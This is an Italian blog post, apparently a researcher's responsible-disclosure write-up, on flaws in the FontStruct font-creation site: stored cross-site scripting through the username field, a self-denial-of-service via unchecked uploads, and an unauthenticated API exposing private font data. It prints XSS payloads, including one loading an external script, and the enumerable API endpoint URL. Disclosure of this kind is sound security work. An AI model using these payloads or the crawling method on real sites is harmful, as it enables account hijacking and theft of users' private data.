Cross-Site Scripting, API non protette e molto altro

XSS dropped

Il famoso sito FontStruct permette, anche agli utenti meno esperti, di creare da zero il proprio font personale. Una procedura molto semplificata: ti registri e sei già pronto per disegnare. Il tutto viene offerto, tramite una semplice interfaccia come un servizio gratuito. Mica male!

Sfortunatamente lo sviluppatore che ha messo in piedi questo servizio non ha pensato molto bene alla sicurezza, implementando più volte degli stratagemmi che funzionano solo per alcuni casi specifici. In questo articolo, scriverò dei problemi che mi hanno permesso di prendere parte del controllo del Frontend del sito web.

Cross Site Scripting

Ero alla ricerca di un buon servizio online che mi potesse consentire di creare il mio piccolo font personale. Alle alternative costose online, vedo un ottimo servizio FontStruct. Nella fase di registrazione, come username ho provato a inserire un semplice <script>alert("XSS");<script> : solo una piccolissima parte di me pensava di poter riuscire ad evadere il filtro.

Sorpresa, sorpresa. Aveva funzionato! Mi era arrivato un alert contenente il messaggio “XSS”. Possibile che lo sviluppatore non abbia implementato alcun filtro? Mi trovavo davanti a un Cross-Site scripting?

XSS fun

Ovviamente sì, ma non ero certo di quanto avevo scoperto. I filtri non funzionavano al meglio; anche se in alcune pagine pagine, talvolta, il mio username veniva escapato piuttosto bene, sostituendo i caratteri “<” “>” con lt; e gt;.

Nella pagina del profilo per esempio, il tentativo non funzionava, mostrandomi a schermo il rude codice che avevo scritto. Mi son detto che probabilmente la vulnerabilità non era così grossa, potevano benissimo aver sviluppato qualche blocco. Per esempio, speravo che avessero implementato l’header per caricare script solo dal dominio fontstruct.com , evitando di eseguire altri script da domini esterni. Eppure non fu così.

Ho uploadato un semplice script in un server e ho provato a inserirlo nel campo username come <script src="//mioserver/script.js"> . Il risultato? La pagina web poteva eseguire qualsiasi script esterno! Tecnicamente, una vulnerabilità del genere viene chiamata “Persistent Cross-Site Injection”, dato che ciò è persistente, essendo caricato dal database.

Cookie stealer, manipolazione del DOM: ero in grado di modificare qualsiasi elemento della pagina della mia dashboard. Una cosa che ho notato pero’ è stato quello che se commentavo e qualcuno andava a vedere il commento sulla pagina “Tutte le attività”, lo script injectato poteva benissimo modificare la pagina dell’utente.

Sign-up form

Self Denial of Service

Sfruttando il campo per uploadare l’immagine profilo e le limitazioni della macchina, è stato possibile provocare un self-dos. Il web server non controllava se il file in upload era effettivamente un immagine o meno. Uploadando un file sufficentemente grande, la macchina riavviava il web server per pochi minuti.

API non protetta

Il sistema di creazione dei font si basa su un api JSON che permette al componente “editore grafico”, sviluppato in Javascript, di costruire il font in base alle informazioni ottenute. In questo caso non si può dire che è una svista, ma proprio una vulnerabilità piuttosto seria. Una qualsiasi persona (anche non registrata) poteva chiamare l’API senza alcun controllo da parte del web server, ottenendo di fatto tutte le informazioni possibili. Il metodo per ottenere le informazioni private del font è stata la seguente: https://fontstruct.com/api/1/fontstructions/NUMERO?fast=1, dove NUMERO è l’id del font. Sviluppando un semplice crawler , un attaccante poteva risalire a tutte le informazioni, sia pubbliche che private, dei font creati.

Unrestricted API

Reporting

Diverse volte ho segnalato allo sviluppatore, non ricevendo alcuna risposta (è da fine Giugno che ho incominciato a contattarlo). Dato che il termine dei 90 giorni è scaduto, sono autorizzato a pubblicare questo post ufficialmente sul mio sito. A quanto pare, il reflected XSS è stato risolto, ma gli altri bug elencati no.

AGGIORNAMENTO: sono stati risolti tutti gli issue menzionati. Qualcuno del team deve aver visto il mio articolo.